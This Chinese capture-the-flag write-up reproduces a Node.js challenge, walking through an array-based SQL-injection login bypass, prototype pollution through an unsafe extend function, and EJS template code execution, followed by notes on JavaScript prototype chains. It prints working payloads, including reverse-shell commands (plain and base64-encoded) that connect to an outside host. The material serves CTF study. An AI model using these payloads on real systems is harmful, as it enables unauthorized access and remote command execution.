2024黄河流域比赛的复现

目录

WEB

[GKCTF 2021]easynode

unser

知识点


WEB

根据此题先复现[GKCTF 2021]easynode这个题,这两个题类似

[GKCTF 2021]easynode

1.打开页面发现是登录页面,找到源文件里面的代码,分析如何进行登录,发现经过safeQuery()函数处理,如果result[0]不为空则登陆成功返回token

app.post('/login',function(req,res,next) //这行代码定义了一个处理 POST 请求的路由,路径为 /login。当客户端向这个路径发送 POST 请求时,会执行后面的匿名函数next。
{
    let username = req.body.username;
    let password = req.body.password; //这两行代码从请求体(req.body)中提取用户名和密码。
    safeQuery(username,password).then //safeQuery` 很可能是一个返回 Promise 的函数,用于安全地查询用户名和密码是否匹配。这个函数可能涉及到数据库查询
     (
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    )这部分代码是 safeQuery 函数的回调函数,它处理查询结果。如果 result[0] 是真值(可能是表示查询成功),则调用 generateToken 函数生成一个令牌,并将其与消息 "yes" 一起返回给客户端,并会出现token的值。否则,返回错误消息 "username or password wrong"。
.then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  }) //catch 部分用于捕获并处理任何在上述过程中发生的错误。如果发生错误,它会向客户端发送一个错误消息 "something wrong!"。

2.由于这里出现了safeQuery()函数,所以去找相关信息,在这串代码中我们发现遍历黑名单进行匹配是弱等于,那么我们可以用数组绕过

let safeQuery =  async (username,password)=>{
//这里定义了一个名为 safeQuery 的异步函数,它接受两个参数:username 和 password。
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    } //这个函数接受一个字符串 str,然后检查它是否包含 blacklist 数组中的任何字符。如果包含,它会将该字符替换为 *。简言之就是会把username和password中的\ ^ ( ) " '字符换成*

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }
//这个函数的目的是遍历输入字符串 str 的每个字符,并检查 waf 函数是否将其替换为 *。然后将*添加到对应被替换的位置,然后str用加号进行拼接并返回
    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));//代码尝试使用某种 format 函数(该函数在这段代码中并未定义)来构建 SQL 查询。它限制了用户名和密码的长度为前20个字符
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}//代码首先等待 select 函数执行 SQL 查询,并将结果转化为 JSON 字符串,然后再将其解析回一个对象。

3.但是在利用数组绕过的时候发现后面调用substr会报错。所以我们就要利用js的特性,当数组相加时会转换成字符串,利用这个特性,手动添加一个在黑名单的字符(位置在哪都行),括号被替换发生了字符串相加,payload如下:

username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=(&password=123456

为什么中间要填那么多1:如果中间字符太少遍历完数组后又依次遍历每个字符,导致单引号被替换成星号

4.进行抓包,发送请求,得到token的值

5.观察源代码,发现在/adminDIV路由中存在原型链污染

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

存在extend函数造成原型链污染,用json格式的addDIV去污染board

6.观察一下

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));

发现是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,所以我们就需要让 username 等于 __proto_,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token

app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});

7.接收参数username和password进行数据库插入数据创建用户,前提是需要有正确的token。

我们利用刚刚得到admin的token去创建用户__proto__

8. 然后在login去登录,成功得到token值

由于反弹shell可能出现编码问题,我们base64加上url编码一下

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA%2BJjEi|base64 -d|bash');var __tmp2"}

 成功污染

9.然后找到调用ejs模板的/admin路由

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});

找到调用处

const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})

10.board参数已经被我们污染了,也就是说只要username为__proto__就行,往前看可以知道是由token决定,所以访问/admin路由,修改为__proto__的token发送即可

11.得到flag

 

unser

 1.数组绕过,从而sql注入进行用户名admin登录,拿到session以后进入第二层:

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=*&password=1

2.传参token,token只要是object就可以,两边都是undefined就通过了,得到flag:

token={"__proto__":{"flag":"1234"}}

知识点

资料:js原型链污染(超详细)-CSDN博客

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户 

【网络安全系列】JavaScript原型链污染攻击总结_shvl-CSDN博客 

浅析javascript原型链污染攻击 - 先知社区 (aliyun.com) 

1.JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

2.可以看到,person是一个Person类的实例,有四个属性:name、age、gender、proto。其中,前三个是我们构建函数中定义的,第4个属性proto就是Person.prototype。

参考下图:
 

3.原型链污染:

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。 

4.

  1. 原型的定义:

    原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

    (1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型

    (2)所有函数拥有prototype属性(显式原型)(仅限函数)

  2. 原型链的定义:

    原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

  3. 原型对象:

    在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/709888.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

外网访问公司内网服务器?

【天联】组网天联可以解决不同地区电脑与电脑、设备与设备、电脑与设备之间的信息远程通信问题。在全国各主要节点部署加速服务器&#xff0c;实现在低带宽、跨运营商的网络环境下高速访问&#xff1b;这为公司内网服务器提供了一个可行的外网访问解决方案。 在现代办公环境中…

Unet心电信号分割方法(Pytorch)

心血管疾病是一种常见病&#xff0c;严重影响人们的健康及日常生活。 近年来随着人们生活习惯的不断变化&#xff0c;心血管疾病对人们影响愈加明显&#xff0c;发病率呈现出逐年攀升的趋势&#xff0c;心血管疾病是中国城乡居民死亡的首要原因。心电图ECG已被广泛用于研究心跳…

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

PHP语言在设计时忽略了Windows对字符编码转换的 Best-Fit 特性&#xff0c;导致未授权的攻击者可以通过特定字符串绕过 CVE-2012-1823 补丁&#xff0c;执行任意PHP代码&#xff0c;导致服务器失陷。 1.漏洞级别 高危 2.漏洞搜索 fofa: app"XAMPP"3.影响范围 P…

RTOS笔记--资源管理

资源管理 资源管理&#xff0c;其实就是前面介绍过的通知方式中的队列信号量互斥量等是如何访问临界资源的&#xff0c;如何做到完全互斥。 在之前举过一个例子&#xff1a;当我们使用全局变量来进行互斥操作时&#xff0c;有可能在改写全局变量时被切换使得不再互斥&#xff0…

使用thymeleaf直接渲染字符串

目录 一、依赖 二、示例代码 一、依赖 <--JAVA 8--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId><version>2.7.18</version></dependency><-…

如何确保数据跨域交换安全、合规、可追溯性?

数据跨域交换是指在不同的组织、系统或网络之间进行数据的传输和共享。随着数字经济的发展&#xff0c;数据跨域交换在促进数据流通和创新融合方面发挥着重要作用。然而&#xff0c;这一过程也面临着诸多挑战和风险&#xff0c;例如数据安全、合规性、完整性以及责任不清晰等问…

C#操作MySQL从入门到精通(17)——使用联结

前言: 我们在查询数据的过程中有时候查询的数据不是来自一个表而是来自多个表,本文使用的测试数据如下: 本文使用了两个表student_info、address_info student_info的数据如下: address_info的数据如下: 1、内联结 所谓内联结就是求交集,两个表都有的数据才是有效数…

SSH密钥认证:实现远程服务器免密登录的两种方法|Linux scp命令详解:高效实现文件与目录的远程传输

简介&#xff1a; 服务器之间经常需要有一些跨服务器的操作&#xff0c;此时就需要我们在一台服务器上登录到另外一台服务器&#xff0c;若是人为操作时我们都可以每次输入密码进行远程登录&#xff0c;但要是程序需要跨服务器时&#xff0c;每次输入密码就不现实了&#xff0c…

Java 开发实例:Spring Boot+AOP+注解+Redis防重复提交(防抖)

文章目录 1. 环境准备2. 引入依赖3. 配置Redis4. 创建防重复提交注解5. 实现AOP切面6. 创建示例Controller7. 测试8. 进一步优化8.1 自定义异常处理8.2 提升Redis的健壮性 9. 总结 &#x1f389;欢迎来到Java学习路线专栏~探索Java中的静态变量与实例变量 ☆* o(≧▽≦)o *☆嗨…

基于单片机的数控稳压开关电源研究

为了解决多种类供电的电压需求&#xff0c;克服供电电路体积大、性价比低的问题&#xff0c;复杂电路系统以单片机控制为核心&#xff0c;尝试构建单片机数控开关稳压电源的硬件平台&#xff0c;并开发软件程序&#xff0c;实现系统多种类供电电压输出的控制。实验证明&#xf…

zabbix老版本3.0.14迁移

由于之前zabbix版本过老&#xff0c;一直未能升级&#xff0c;现在一台老的服务器需要迁移&#xff0c;服务器较老&#xff0c;就不更新&#xff0c;先迁移数据&#xff0c; 下载地址&#xff1a; Zabbix Official Repository http://repo.zabbix.com/zabbix/3.0/rhel/7/x86…

「实战应用」如何用DHTMLX将上下文菜单集成到JavaScript甘特图中(一)

DHTMLX Gantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表。可满足项目管理应用程序的所有需求&#xff0c;是最完善的甘特图图表库。 DHTMLX Gantt是一个高度可定制的工具&#xff0c;可以与项目管理应用程序所需的其他功能相补充。在本文中您将学习如何使用自定义上…

如何使用Spring Boot框架整合Redis:超详细案例教程

目录 # 为什么选择Spring Boot与Redis整合&#xff1f; 1. 更新 pom.xml 2. 配置application.yml 3. 创建 Redis 配置类 4. Redis 操作类 5. 创建控制器 6. 启动应用程序 7. 测试 # 为什么选择Spring Boot与Redis整合&#xff1f; 将Spring Boot与Redis整合可以充分利…

自制一个Linux live固件镜像ISO可引导系统

使用母盘镜像制作两个虚拟&#xff0c;来制作一个包含基本需求的filesystem.squashfs文件&#xff0c;具体看下面的链接 使用的安装镜像 是Linux Mint 制作好的成品 https://cloud.189.cn/t/U32Mvi7FnyA3 &#xff08;访问码&#xff1a;2nbo&#xff09; 最简单制作LIVE CD…

java多线程概念

在Java多线程编程中有几个重要的概念&#xff0c;这些概念对于理解和编写正确的多线程应用程序至关重要&#xff1a; 1.线程&#xff08;Thread&#xff09;: 线程是操作系统能够进行运算调度的最小单位&#xff0c;Java通过线程实现并发执行。 2.进程&#xff08;Process&…

12_YouOnlyLookOnce(YOLOv3)新一代实时目标检测技术

1.1 回顾V1和V2 V1&#xff1a;05_YouOnlyLookOnce(YOLOV1)目标检测领域的革命性突破-CSDN博客 V2&#xff1a;07_YouOnlyLookOnce(YOLOv2)Better&#xff0c;Faster&#xff0c;Stronger-CSDN博客 1.2 简介 YOLOv3&#xff08;You Only Look Once version 3&#xff09;是…

【odoo】odoo中对子数据的独有操作[(0, 0, {‘name‘: ‘demo‘})]

概要 在Odoo中&#xff0c;有种写法用于操作 one2many 或 many2many 字段时&#xff0c;描述如何在数据库中创建、更新或删除相关记录。具体而言&#xff0c;这是一种命令格式&#xff0c;被称为 "commands" 或 "special command tuples"&#xff0c;用于 …

[大模型]Qwen2-7B-Instruct vLLM 部署调用

vLLM 简介 vLLM 框架是一个高效的大语言模型推理和部署服务系统&#xff0c;具备以下特性&#xff1a; 高效的内存管理&#xff1a;通过 PagedAttention 算法&#xff0c;vLLM 实现了对 KV 缓存的高效管理&#xff0c;减少了内存浪费&#xff0c;优化了模型的运行效率。高吞吐…

Nginx负载均衡之长连接负载均衡

当客户端通过浏览器访问 HTTP 服务器时&#xff0c;HTTP 请求会通过 TCP 协议与 HTTP 服务器建立一条访问通道&#xff0c;当本次访问数据传输完毕后&#xff0c;该 TCP 连接会立即被断开&#xff0c;由于这个连接存在的时间很短&#xff0c;所以 HTTP 连接也被称为短连接。 …

五、特征缩放和多项式回归

目录 一、为什么要使用特征缩放(Feature Scaling) 1.首先来看预测房价的例子 2.特征缩放前后效果对比 二、特征缩放方法 1.统一除以范围最大值 2.均值归一化(Mean Normalization) 3.Z-score标准化(Z-score Normalization) 4.一些可以接受/不接受的缩放范围 三、如何识别…